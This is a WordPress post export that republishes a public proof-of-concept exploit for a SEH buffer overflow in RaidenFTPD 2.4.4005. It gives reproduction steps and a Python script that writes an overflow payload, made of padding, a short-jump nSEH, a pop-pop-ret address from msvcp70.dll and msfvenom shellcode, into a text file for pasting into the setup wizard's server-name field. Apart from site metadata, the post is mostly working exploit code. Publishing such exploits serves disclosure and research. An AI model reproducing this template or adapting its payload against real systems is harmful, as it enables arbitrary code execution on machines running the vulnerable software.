# Exploit Title: RaidenFTPD 2.4.4005 – Buffer Overflow (SEH)
\n# Date: 18\/07\/2023
\n# Exploit Author: Andre Nogueira
\n# Vendor Homepage: https:\/\/www.raidenftpd.com\/en\/
\n# Software Link: http:\/\/www.raidenmaild.com\/download\/raidenftpd2.exe
\n# Version: RaidenFTPD 2.4.4005
\n# Tested on: Microsoft Windows 10 Build 19045<\/p>\n
# 1.- Open RaidenFTPD
\n# 2.- Click on ‘Setup’ -> ‘Step by step setup wizard’
\n# 3.- Run python code: exploit-raidenftpd.py
\n# 4.- Paste the content of exploit-raiden.txt into the field ‘Server name’
\n# 5.- Click ‘next’ -> ‘next’ -> ‘ok’
\n# 6.- Pop calc.exe<\/p>\n
#!\/usr\/bin\/env python3
\nfrom struct import pack<\/p>\n
crash = 2000
\noffset = 497<\/p>\n
# msfvenom -p windows\/exec CMD=”calc.exe” -a x86 -f python -v shellcode –b “\\x00\\x0d”
\nshellcode = b”\\x90″ * 8
\nshellcode += b”\\xb8\\x9c\\x78\\x14\\x60\\xd9\\xc2\\xd9\\x74\\x24\\xf4″
\nshellcode += b”\\x5a\\x33\\xc9\\xb1\\x31\\x83\\xea\\xfc\\x31\\x42\\x0f”
\nshellcode += b”\\x03\\x42\\x93\\x9a\\xe1\\x9c\\x43\\xd8\\x0a\\x5d\\x93″
\nshellcode += b”\\xbd\\x83\\xb8\\xa2\\xfd\\xf0\\xc9\\x94\\xcd\\x73\\x9f”
\nshellcode += b”\\x18\\xa5\\xd6\\x34\\xab\\xcb\\xfe\\x3b\\x1c\\x61\\xd9″
\nshellcode += b”\\x72\\x9d\\xda\\x19\\x14\\x1d\\x21\\x4e\\xf6\\x1c\\xea”
\nshellcode += b”\\x83\\xf7\\x59\\x17\\x69\\xa5\\x32\\x53\\xdc\\x5a\\x37″
\nshellcode += b”\\x29\\xdd\\xd1\\x0b\\xbf\\x65\\x05\\xdb\\xbe\\x44\\x98″
\nshellcode += b”\\x50\\x99\\x46\\x1a\\xb5\\x91\\xce\\x04\\xda\\x9c\\x99″
\nshellcode += b”\\xbf\\x28\\x6a\\x18\\x16\\x61\\x93\\xb7\\x57\\x4e\\x66″
\nshellcode += b”\\xc9\\x90\\x68\\x99\\xbc\\xe8\\x8b\\x24\\xc7\\x2e\\xf6″
\nshellcode += b”\\xf2\\x42\\xb5\\x50\\x70\\xf4\\x11\\x61\\x55\\x63\\xd1″
\nshellcode += b”\\x6d\\x12\\xe7\\xbd\\x71\\xa5\\x24\\xb6\\x8d\\x2e\\xcb”
\nshellcode += b”\\x19\\x04\\x74\\xe8\\xbd\\x4d\\x2e\\x91\\xe4\\x2b\\x81″
\nshellcode += b”\\xae\\xf7\\x94\\x7e\\x0b\\x73\\x38\\x6a\\x26\\xde\\x56″
\nshellcode += b”\\x6d\\xb4\\x64\\x14\\x6d\\xc6\\x66\\x08\\x06\\xf7\\xed”
\nshellcode += b”\\xc7\\x51\\x08\\x24\\xac\\xae\\x42\\x65\\x84\\x26\\x0b”
\nshellcode += b”\\xff\\x95\\x2a\\xac\\xd5\\xd9\\x52\\x2f\\xdc\\xa1\\xa0″
\nshellcode += b”\\x2f\\x95\\xa4\\xed\\xf7\\x45\\xd4\\x7e\\x92\\x69\\x4b”
\nshellcode += b”\\x7e\\xb7\\x09\\x0a\\xec\\x5b\\xe0\\xa9\\x94\\xfe\\xfc”<\/p>\n
nSEH = b”\\xeb\\x06\\x90\\x90″ # short jump of 8 bytes
\nSEH = pack(“<L”, 0x7c1e76ff) # pop eax; pop esi; ret; => msvcp70.dll<\/p>\n
buffer = b”A” * offset
\nbuffer += nSEH
\nbuffer += SEH
\nbuffer += shellcode
\nbuffer += b”D” * (crash -len(buffer))<\/p>\n
file_payload = open(“exploit-raiden.txt”, ‘wb’)
\nprint(“[*] Creating the .txt file for out payload”)
\nfile_payload.write(buffer)
\nprint(“[*] Writing malicious payload to the .txt file”)
\nfile_payload.close()<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: RaidenFTPD 2.4.4005 – Buffer Overflow (SEH) # Date: 18\/07\/2023 # Exploit Author: Andre Nogueira # Vendor Homepage: https:\/\/www.raidenftpd.com\/en\/ # Software Link: http:\/\/www.raidenmaild.com\/download\/raidenftpd2.exe # Version: RaidenFTPD 2.4.4005 # Tested on: Microsoft Windows 10 Build 19045 # 1.- Open RaidenFTPD # 2.- Click on ‘Setup’ -> ‘Step by step setup wizard’ # 3.- Run …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45404","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45404","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=45404"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45404\/revisions"}],"predecessor-version":[{"id":45440,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/45404\/revisions\/45440"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=45404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=45404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=45404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}